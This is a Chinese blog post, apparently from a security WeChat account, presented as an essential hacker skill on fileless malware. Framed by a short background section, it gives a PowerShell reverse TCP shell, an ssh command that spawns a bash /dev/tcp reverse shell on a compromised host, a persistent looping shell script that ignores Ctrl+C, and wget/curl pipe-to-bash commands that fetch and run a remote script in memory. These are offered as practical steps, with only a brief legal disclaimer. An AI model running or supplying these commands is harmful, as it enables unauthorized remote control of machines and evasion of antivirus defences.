前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >​hacker必会技能!

​hacker必会技能!

作者头像
Gamma实验室
发布2020-12-23 11:34:34
5220
发布2020-12-23 11:34:34
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

hacker必会技能!

“无文件恶意软件是一种操作及其简单但又及其危险的威胁,它能使某些网络防御无效。”

背景资料:

网络安全公司CrowdStrike发布了《2020全球威胁态势报告》,其研究结果显示“无文件恶意软件”攻击的趋势增加,无文件恶意软件的攻击数量超过了恶意软件的攻击数量。2019年,51%的攻击使用了无文件恶意软件技术,而在2018年,只有40%的攻击使用了无文件恶意软件技术。

“可以看到无文件恶意软件攻击将会成为以后主流攻击手段,这也让防御方更加头疼!”

优点:

恶意软件攻击定义为:有恶意文件被写入磁盘,导致会被防护产品检测到试图运行该文件,然后识别或阻止它,这些入侵尝试相对来说比较容易拦截和阻止,通常可以用传统的反恶意软件解决方案有效地阻止。

恶意软件攻击定义为:初始没有文件或文件片段被写入磁盘的攻击,例如包括代码从内存执行的攻击、或者利用盗取的凭证使用已知工具进行远程登录的攻击,需要更广泛更复杂的检测技术来可靠地识别和拦截,包括行为检测和人类威胁捕获但是什么是无文件恶意软件。

“可以看到无文件恶意软件攻击最大的优点是,一次攻击将不会再执行的.exe或类似的东西,而是直接ARM运行有效载荷!”

Powershell示例:

代码语言:javascript
复制
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

此powershell命令是反向TCP Shell。从技术上讲,它在属于无文件恶意软件范畴。它可以直接从命令行或通过漏洞利用执行,功能和恶意软件无疑,Of course! 还有其他方法可以运行代码。这种小巧的Powershell是非常nice!的,防病毒产品没有机会扫描文件中的恶意代码,因为没有文件可扫描。除外,它还非常易于修改,混淆和添加功能。

实战应用:

假如我们当前获得了一个ssh连接用户test的用户凭证(口令),那么我们可以这样做

首先在我们攻击监听一个端口。

代码语言:javascript
复制
nc -lvk 8888

我们将在被攻击的主机上执行反向shell程序。在攻击机输入

代码语言:javascript
复制
ssh test@compromised.host "bash -i >& /dev/tcp/<yourIP>/<yourPort> 0>&1"

这时候你将成功获得一个反向shell连接!

再进一步:

代码语言:javascript
复制
#!/bin/bash
trap ":" SIGINT SIGHUP
while True; do
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    sleep 30
Done

这个shell脚本将30秒为我们执行一次有效负载,且屏蔽SIGINT信号,那么Ctrl+C也无法杀死!

“SIGINT信息:程序终止(interrupt)信号, 在用户键入INTR字符(通常是Ctrl-C)时发出,用于通知前台进程组终止进程。”

那么你会问这不就是一个shell脚本,一样会写入磁盘啊,一样会被发现的!

当然,所以我们接下来才是重点:各位看官请看

第一步优化:(直接执行命令)把sh脚本保存为test.sh放在我们自己的服务器上

代码语言:javascript
复制
whereis wget && (wget -O - http://ip:8888/test.sh | bash &) || whereis curl && (curl -o - http://localhost:8888/test.sh | bash &)

第二步优化,当然前面那样还是会留下些许痕迹!那么这样勒?

代码语言:javascript
复制
ssh test@compromised.host "whereis wget && (wget -O - http://localhost:8888/test.sh | bash &) || whereis curl && (curl -o - http://localhost:8888/test.sh | bash &)"

从命令的复杂程度来看,是非常简单的,但是它从来没有碰过磁盘。这种无文件攻击的弊端就是一断电重启就哦豁了!因为代码驻留在内存中运行,当然这丝毫不影响它成为黑客攻击的

为了安全请将工具放在虚拟机运行!

作者不易!请点一下关注在走吧!

请严格遵守网络安全法相关条例!

此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

转载此文章,请标明出处。

关注此公众号,各种福利领不停,轻轻松松学习hacker技术!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-09-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gamma安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 背景资料:
  • 优点:
  • Powershell示例:
  • 实战应用:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档